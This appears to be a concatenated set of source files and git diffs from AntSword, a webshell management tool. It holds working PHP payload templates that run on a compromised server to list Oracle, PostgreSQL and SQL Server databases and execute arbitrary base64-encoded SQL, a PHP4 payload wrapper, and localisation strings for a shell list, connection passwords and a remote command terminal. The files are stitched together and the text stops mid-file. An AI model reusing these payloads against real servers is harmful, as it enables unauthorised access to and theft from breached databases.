$row=$res[$i];
echo(trim($row[0])." (".$row[1]."(".$row[2]."))".chr(9));
}
}
}else{
echo("Status\t|\t\r\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
}else{
echo("RmFsc2U="."\t|\t\r\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$chs=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];;
$chs=$chs?$chs:"utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)) {
$n=oci_num_fields($q);
if($n==0){
echo("Affect Rows\t|\t\r\n".base64_encode(@oci_num_rows($q))."\t|\t\r\n");
}else{
for($i=1;$i<=$n;$i++){
echo(oci_field_name($q,$i)."\t|\t");
}
echo "\r\n";
while ($row = @oci_fetch_array($q, OCI_ASSOC+OCI_RETURN_NULLS)) {
foreach ($row as $item) {
echo($item !== null ? base64_encode($item):"")."\t|\t";
}
echo "\r\n";
}
@oci_free_statement($q);
}
}else{
echo("Status\t|\t\r\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
}else{
echo("RmFsc2U="."\t|\t\r\n");
}
}
@oci_close($H);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}',
}
})
/**
* 数据库管理模板::postgresql
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT datname FROM pg_database where datistemplate='f';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT column_name,udt_name,character_maximum_length FROM information_schema. COLUMNS WHERE TABLE_NAME = '{$tab}';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
$len=$rs[2]?$rs[2]:"0";
echo(trim($rs[0])." ({$rs[1]}({$len}))".chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
$arr=array(
'host'=>split(':',$hst)[0],
'port'=>split(':',$hst)[1],
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T, $sql);
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
$n=@pg_num_fields($q);
if($n===NULL){
echo("Status\t|\t\r\n");
echo(base64_encode("ERROR://".@pg_last_error())."\t|\t\r\n");
}elseif($n===0){
echo("Affect Rows\t|\t\r\n".base64_encode(@pg_affected_rows($q))."\t|\t\r\n");
}else{
for($i=0;$i<$n;$i++){
echo(@pg_field_name($q,$i)."\t|\t");
}
echo "\r\n";
while($row=@pg_fetch_row($q)){
for($i=0;$i<$n;$i++){
echo(base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t|\t");
}
echo "\r\n";
}
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
/**
* 数据库管理模板::postgresql_pdo
* i 数据分隔符号 => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$host=split(':',$hst)[0];
$port=split(':',$hst)[1];
$arr=array(
'host'=>$host,
'port'=>$port,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="select datname FROM pg_database where datistemplate='f';";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['datname']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
// 显示数据库所有表
show_tables: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$host=split(':',$hst)[0];
$port=split(':',$hst)[1];
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['table_name']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
// 显示表字段
show_columns: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$host=split(':',$hst)[0];
$port=split(':',$hst)[1];
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="SELECT column_name,udt_name,character_maximum_length FROM information_schema.COLUMNS WHERE TABLE_NAME = '{$tab}';";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
$len=$res['character_maximum_length'] ? $res['character_maximum_length']:"0";
echo(trim($res['column_name'])." ({$res['udt_name']}({$len}))".chr(9));
}
$dbh = null;
}`.replace(/\n\s+/g,''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// 执行SQL语句
query: {
_:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
$host=split(':',$hst)[0];
$port=split(':',$hst)[1];
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$result=$dbh->prepare($sql);
if(!$result->execute()){
echo("Status\t|\t\r\n");
$err="";
foreach(@$result->errorInfo() as $v){
$err.=$v." ";
}
echo(base64_encode("ERROR://".$err)."\t|\t\r\n");
}else{
$bool=True;
while($res=$result->fetch(PDO::FETCH_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\t|\t");
}
echo "\r\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\t|\t");
}
echo "\r\n";
}
if($bool){
if(!$result->columnCount()){
echo("Affect Rows\t|\t\r\n".base64_encode($result->rowCount())."\t|\t\r\n");
}else{
echo("Status\t|\t\r\n");
echo(base64_encode("ERROR://Table is empty.")."\t|\t\r\n");
}
}
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
...@@ -77,7 +77,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -77,7 +77,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"]; $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]); $sql=base64_decode($_POST["${arg5}"]);
$chs='utf-8'; $chs=strtolower($m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"]);
$chs=($chs=='utf-8'||$chs=='char')?$chs:'utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs)); $T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,$sql,null); $q=@sqlsrv_query($T,$sql,null);
if($q!==false){ if($q!==false){
...@@ -102,7 +103,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -102,7 +103,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
} }
@sqlsrv_free_stmt($q); @sqlsrv_free_stmt($q);
}else{ }else{
echo("Status\t|\t\r\n".base64_encode(sqlsrv_errors()[0]['message'])."\t|\t\r\n"); echo("Status\t|\t\r\n");
if(($e = sqlsrv_errors()) != null){
foreach($e as $v){
echo(base64_encode($e['message'])."\t|\t\r\n");
}
}else{
echo("RmFsc2U="."\t|\t\r\n");
}
} }
@sqlsrv_close($T);`.replace(/\n\s+/g, ''), @sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
...@@ -110,6 +118,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -110,6 +118,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
[arg4]: '#{db}', [arg4]: '#{db}',
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
// [arg6]: '#{encode}' [arg6]: '#{encode}'
} }
}) })
/**
* PHP4 服务端脚本模板
*/
'use strict';
//const Base = require('../base');
const PHP = require('../php/index');
class PHP4 extends PHP {
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data) {
// 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // "->|";
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-";
// 组合完整的代码
let tmpCode = data['_'];
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`;
// 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = PHP4;
...@@ -28,7 +28,8 @@ module.exports = { ...@@ -28,7 +28,8 @@ module.exports = {
cut: 'Cut', cut: 'Cut',
copy: 'Copy', copy: 'Copy',
paste: 'Paste', paste: 'Paste',
selectall: 'SelectAll' selectall: 'SelectAll',
search: 'Search'
}, },
window: { window: {
title: 'Window', title: 'Window',
...@@ -60,6 +61,7 @@ module.exports = { ...@@ -60,6 +61,7 @@ module.exports = {
edit: 'Edit', edit: 'Edit',
delete: 'Delete', delete: 'Delete',
move: 'Move', move: 'Move',
copy: 'Copy',
search: 'Search', search: 'Search',
plugin: 'Plugins', plugin: 'Plugins',
pluginDefault: 'Default', pluginDefault: 'Default',
...@@ -95,6 +97,7 @@ module.exports = { ...@@ -95,6 +97,7 @@ module.exports = {
}, },
list: { list: {
title: 'Shell Lists', title: 'Shell Lists',
not_recommended: 'Not recommended',
grid: { grid: {
url: 'URL', url: 'URL',
ip: 'IP', ip: 'IP',
...@@ -197,8 +200,35 @@ module.exports = { ...@@ -197,8 +200,35 @@ module.exports = {
path: 'Current Path' path: 'Current Path'
}, },
ascmd: { ascmd: {
ashelp: `Usage:\nascmd file\t\tExecute the command with file, eg: ascmd /bin/bash\n`, help: 'Enter ashelp to view local commands',
ashelp: `Usage:
ascmd [file]\t\tExecute the command with file, eg: ascmd /bin/bash
aslistcmd\t\tList available command interpreters
aspowershell [on|off]\t\tEnable/Disable PowerShell mode, eg: aspowershell on
quit\t\tClose terminal
exit\t\tClose terminal
Hot Keys:
Ctrl =\t\tIncrease font
Ctrl -\t\tDecrease font
Ctrl L\t\tClean screen
Ctrl U\t\tClear the current line
 Ctrl A\t\tMove cursor to the beginning of the line
 Ctrl E\t\tMove cursor to the end of the line
 Ctrl F/B\t\tForward and backward (equivalent to the left and right direction keys)
 Ctrl P\t\tPrevious command
 Ctrl R\t\tSearch command history
 Ctrl D\t\tDelete the character of the current cursor
 Ctrl H\t\tDeletes the character before the cursor
 Ctrl W\t\tDelete the word before the cursor
 Ctrl K\t\tDelete to the end of the text
 Ctrl T\t\tExchange text at the cursor
`,
ascmd: (cmd) => antSword.noxss(`Will execute the command with ${cmd}.`), ascmd: (cmd) => antSword.noxss(`Will execute the command with ${cmd}.`),
aspowershell: {
on: "Powershell mode enabled",
off: "Powershell mode disabled",
},
}, },
}, },
filemanager: { filemanager: {
...@@ -346,7 +376,8 @@ module.exports = { ...@@ -346,7 +376,8 @@ module.exports = {
title: 'Create', title: 'Create',
folder: 'Folder', folder: 'Folder',
file: 'File' file: 'File'
} },
terminal: 'Open Terminal Here'
} }
} }
}, },
...@@ -540,7 +571,8 @@ module.exports = { ...@@ -540,7 +571,8 @@ module.exports = {
homepage: 'Home', homepage: 'Home',
document: 'Document', document: 'Document',
qqgroup: 'QQ Group', qqgroup: 'QQ Group',
discord: 'Discord' discord: 'Discord',
wechat: 'Fllow us on WeChat'
}, },
language: { language: {
title: 'Language setting', title: 'Language setting',
...@@ -707,6 +739,35 @@ module.exports = { ...@@ -707,6 +739,35 @@ module.exports = {
window: 'Window', window: 'Window',
tab: 'Tab', tab: 'Tab',
}, },
bookmark: {
title: 'Global Bookmark',
nodata: 'No data, click the right mouse button add',
grid: {
name: 'Name',
path: 'Path'
},
bmenu: {
add: 'Add Bookmark',
del: 'Del Bookmark'
},
add: {
title: 'Add to global bookmark',
success: 'Add success',
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
addbtn: 'Confirm'
},
del: {
title: 'Delete Bookmark',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' Bookmarks' : num+" "}?`),
success: 'Delete success'
},
edit: {
namedup: 'The name cannot be duplicated',
name_invalid: 'Name is invalid',
success: 'Edit success'
}
},
} }
} }
}, },
......
...@@ -5,7 +5,9 @@ ...@@ -5,7 +5,9 @@
const languages = { const languages = {
'en': 'English', 'en': 'English',
'zh': '简体中文' 'zh': '简体中文',
'zh_hk': '繁體中文(香港)',
'zh_tw': '繁體中文(台灣)'
} }
// 获取本地设置语言(如若没有,则获取浏览器语言 // 获取本地设置语言(如若没有,则获取浏览器语言
......
...@@ -29,7 +29,8 @@ module.exports = { ...@@ -29,7 +29,8 @@ module.exports = {
cut: '剪切', cut: '剪切',
copy: '复制', copy: '复制',
paste: '粘贴', paste: '粘贴',
selectall: '全选' selectall: '全选',
search: '查找数据'
}, },
window: { window: {
title: '窗口', title: '窗口',
...@@ -61,6 +62,7 @@ module.exports = { ...@@ -61,6 +62,7 @@ module.exports = {
edit: '编辑数据', edit: '编辑数据',
delete: '删除数据', delete: '删除数据',
move: '移动数据', move: '移动数据',
copy: '创建副本',
search: '搜索数据', search: '搜索数据',
plugin: '加载插件', plugin: '加载插件',
pluginDefault: '默认分类', pluginDefault: '默认分类',
...@@ -96,6 +98,7 @@ module.exports = { ...@@ -96,6 +98,7 @@ module.exports = {
}, },
list: { list: {
title: '数据管理', title: '数据管理',
not_recommended: '不推荐',
grid: { grid: {
url: 'URL地址', url: 'URL地址',
ip: 'IP地址', ip: 'IP地址',
...@@ -198,8 +201,35 @@ module.exports = { ...@@ -198,8 +201,35 @@ module.exports = {
path: '当前路径' path: '当前路径'
}, },
ascmd: { ascmd: {
ashelp: `使用帮助:\nascmd file\t\t指定file来执行命令,eg: ascmd /bin/bash\n`, help: '输入 ashelp 查看本地命令',
ashelp: `使用帮助:
ascmd [file]\t\t指定file来执行命令, eg: ascmd /bin/bash
aslistcmd\t\t列出可使用的命令解释器
aspowershell [on|off]\t\t启用/关闭PowerShell模式, eg: aspowershell on
quit\t\t关闭终端
exit\t\t关闭终端
快捷键:
Ctrl =\t\t放大字体
Ctrl -\t\t缩小字体
Ctrl L\t\t清屏
Ctrl U\t\t清除当前行
Ctrl A\t\t光标到行首
Ctrl E\t\t光标到行尾
Ctrl F/B\t\t前进后退(相当于左右方向键)
Ctrl P\t\t上一条命令
Ctrl R\t\t搜索命令历史
Ctrl D\t\t删除当前光标的字符
Ctrl H\t\t删除光标之前的字符
Ctrl W\t\t删除光标之前的单词
Ctrl K\t\t删除到文本末尾
Ctrl T\t\t交换光标处文本
`,
ascmd: (cmd) => antSword.noxss(`将使用 ${cmd} 执行命令.`), ascmd: (cmd) => antSword.noxss(`将使用 ${cmd} 执行命令.`),
aspowershell: {
on: "已启用Powershell模式",
off: "已关闭Powershell模式",
},
}, },
}, },
filemanager: { filemanager: {
...@@ -347,7 +377,8 @@ module.exports = { ...@@ -347,7 +377,8 @@ module.exports = {
title: '新建', title: '新建',
folder: '目录', folder: '目录',
file: '文件' file: '文件'
} },
terminal: '在此处打开终端'
} }
} }
}, },
...@@ -541,7 +572,8 @@ module.exports = { ...@@ -541,7 +572,8 @@ module.exports = {
homepage: '主页', homepage: '主页',
document: '文档', document: '文档',
qqgroup: 'Q群', qqgroup: 'Q群',
discord: '在线交流' discord: '在线交流',
wechat: '关注微信公众号'
}, },
language: { language: {
title: '语言设置', title: '语言设置',
...@@ -589,7 +621,7 @@ module.exports = { ...@@ -589,7 +621,7 @@ module.exports = {
dling: (progress)=> `正在下载更新包...${progress}%`, dling: (progress)=> `正在下载更新包...${progress}%`,
dlingnp: (size)=> `正在下载更新包...${size}`, dlingnp: (size)=> `正在下载更新包...${size}`,
dlend: "下载完毕", dlend: "下载完毕",
extract: "正在解压, 请关闭程序", extract: "正在解压, 请关闭程序",
ing: '努力更新中。。', ing: '努力更新中。。',
fail: (err) => `更新失败!【${err}】`, fail: (err) => `更新失败!【${err}】`,
success: '更新成功!请稍后手动重启应用!' success: '更新成功!请稍后手动重启应用!'
...@@ -708,6 +740,35 @@ module.exports = { ...@@ -708,6 +740,35 @@ module.exports = {
window: '窗口打开', window: '窗口打开',
tab: '标签打开', tab: '标签打开',
}, },
bookmark: {
title: '全局书签',
nodata: '当前暂无数据, 请单击鼠标右键添加',
grid: {
name: '名称',
path: '目录'
},
bmenu: {
add: '添加书签',
del: '删除书签'
},
add: {
title: '添加全局书签',
success: '添加成功',
namedup: '名称不能重复',
name_invalid: '名称不合法',
addbtn: '确定'
},
del: {
title: '删除书签',
confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个书签' : num+" "}吗?`),
success: '删除成功'
},
edit: {
namedup: '名称不能重复',
name_invalid: '名称不合法',
success: '更新成功'
}
},
} }
} }
}, },
......
//
// language::zh_hk
//
module.exports = {
title: '中國蟻劍',
toastr: {
info: '提示',
error: '錯誤',
warning: '警告',
success: '成功'
},
menubar: {
main: {
title: 'AntSword',
about: '關於程序',
pluginStore: '插件市場',
settings: '系統設置',
language: '語言設置',
encoders: '編碼設置',
aproxy: '代理設置',
display: '顯示設置',
update: '檢查更新',
quit: '退出程序'
},
edit: {
title: '編輯',
undo: '撤銷',
redo: '重做',
cut: '剪切',
copy: '複製',
paste: '粘貼',
selectall: '全選',
search: '查找數據'
},
window: {
title: '窗口',
next: '下個窗口',
prev: '上個窗口',
close: '關閉窗口'
},
debug: {
title: '調試',
restart: '重啟應用',
devtools: '開發者工具'
},
tray: {
tip: '中國蟻劍',
show: '顯示',
hide: '隱藏',
settings: '系統設置',
about: '關於蟻劍',
quit: '退出'
}
},
shellmanager: {
title: '列表管理',
contextmenu: {
terminal: '虛擬終端',
filemanager: '文件管理',
database: '數據操作',
add: '添加數據',
edit: '編輯數據',
delete: '刪除數據',
move: '移動數據',
copy: '創建副本',
search: '搜索數據',
plugin: '加載插件',
pluginDefault: '默認分類',
pluginStore: '插件市場',
clearCache: '清空緩存',
clearAllCache: '清空所有緩存',
viewsite: '瀏覽網站'
},
category: {
title: '分類目錄',
default: '默認分類',
toolbar: {
add: '添加',
del: '刪除',
rename: '重命名'
},
add: {
title: '添加分類'
},
del: {
title: '刪除分類',
confirm: '確定刪除此分類嗎?(數據將清空)',
success: (category) => antSword.noxss(`成功刪除分類(${category})!`),
error: (category, err) => antSword.noxss(`刪除分類(${category})失敗!\n${err}`)
},
rename: {
title: '重命名分類',
disable: '禁止的分類名稱!',
exists: '此分類名已經存在!',
success: '重命名分類成功!',
error: '重命名分類失敗!'
}
},
list: {
title: '數據管理',
not_recommended: '不推薦',
grid: {
url: 'URL地址',
ip: 'IP地址',
addr: '物理位置',
note: '網站備註',
ctime: '創建時間',
utime: '更新時間'
},
add: {
title: '添加數據',
toolbar: {
test: '測試連接',
add: '添加',
clear: '清空'
},
form: {
url: 'URL地址',
pwd: '連接密碼',
note: '網站備註',
encode: '編碼設置',
type: '連接類型',
encoder: '編碼器'
},
test_success: '連接成功!',
test_warning: '返回數據為空',
warning: '請輸入完整!',
success: '添加數據成功!',
error: (err) => antSword.noxss(`添加數據失敗!\n${err}`)
},
edit: {
title: (url) => antSword.noxss(`編輯數據(${url})`),
toolbar: {
save: '保存',
clear: '清空'
},
form: {
url: 'URL地址',
pwd: '連接密碼',
note: '網站備註',
encode: '編碼設置',
type: '連接類型',
encoder: '編碼器'
},
warning: '請輸入完整!',
success: '更新數據成功!',
error: (err) => antSword.noxss(`更新數據失敗!\n${err}`)
},
del: {
title: '刪除數據',
confirm: (len) => antSword.noxss(`確定刪除選中的${len}條數據嗎?`),
success: (len) => antSword.noxss(`成功刪除${len}條數據!`),
error: (err) => antSword.noxss(`刪除失敗!\n${err}`)
},
move: {
success: (num) => antSword.noxss(`成功移動${num}條數據!`),
error: (err) => antSword.noxss(`移動數據失敗!\n${err}`)
},
clearCache: {
title: '清空緩存',
confirm: '確定清空此緩存嗎?',
success: '清空緩存完畢!',
error: (err) => antSword.noxss(`清空緩存失敗!\n${err}`)
},
clearAllCache: {
title: '清空緩存',
confirm: '確定清空所有緩存數據嗎?',
success: '清空全部緩存完畢!',
error: (err) => antSword.noxss(`清空全部緩存失敗!\n${err}`)
},
accordion: {
base: '基礎配置',
http: '請求信息',
other: '其他設置'
},
otherConf: {
nohttps: '忽略HTTPS證書',
usemultipart: '使用 Multipart 發包',
chunk: {
title: '分塊傳輸(實驗性功能)',
usechunk: '開啟分塊傳輸發包',
min: '最小分塊',
max: '最大分塊',
exphint: '該功能目前為實驗性功能, 無法與 Multipart 同時使用,部分類型的服務端可能不支持Chunked傳輸。此外,建議超時時長設置30s以上,避免網速不好的情況下影響數據傳輸。',
},
terminalCache: '虛擬終端使用緩存',
filemanagerCache: '文件管理使用緩存',
uploadFragment: '上傳文件分片大小',
requestTimeout: '請求超時',
commandPath: '自定義終端執行路徑'
}
}
},
terminal: {
title: '虛擬終端',
banner: {
title: '基礎信息',
drive: '磁盤列表',
system: '系統信息',
user: '當前用户',
path: '當前路徑'
},
ascmd: {
help: '輸入 ashelp 查看本地命令',
ashelp: `使用幫助:
ascmd [file]\t\t指定file來執行命令, eg: ascmd /bin/bash
aslistcmd\t\t列出可使用的命令解釋器
aspowershell [on|off]\t\t啟用/關閉PowerShell模式, eg: aspowershell on
quit\t\t關閉終端
exit\t\t關閉終端
快捷鍵:
Ctrl =\t\t放大字體
Ctrl -\t\t縮小字體
Ctrl L\t\t清屏
Ctrl U\t\t清除當前行
Ctrl A\t\t光標到行首
Ctrl E\t\t光標到行尾
Ctrl F/B\t\t前進後退(相當於左右方向鍵)
Ctrl P\t\t上一條命令
Ctrl R\t\t搜索命令歷史
Ctrl D\t\t刪除當前光標的字符
Ctrl H\t\t刪除光標之前的字符
Ctrl W\t\t刪除光標之前的單詞
Ctrl K\t\t刪除到文本末尾
Ctrl T\t\t交換光標處文本
`,
ascmd: (cmd) => antSword.noxss(`將使用 ${cmd} 執行命令.`),
aspowershell: {
on: "已啟用Powershell模式",
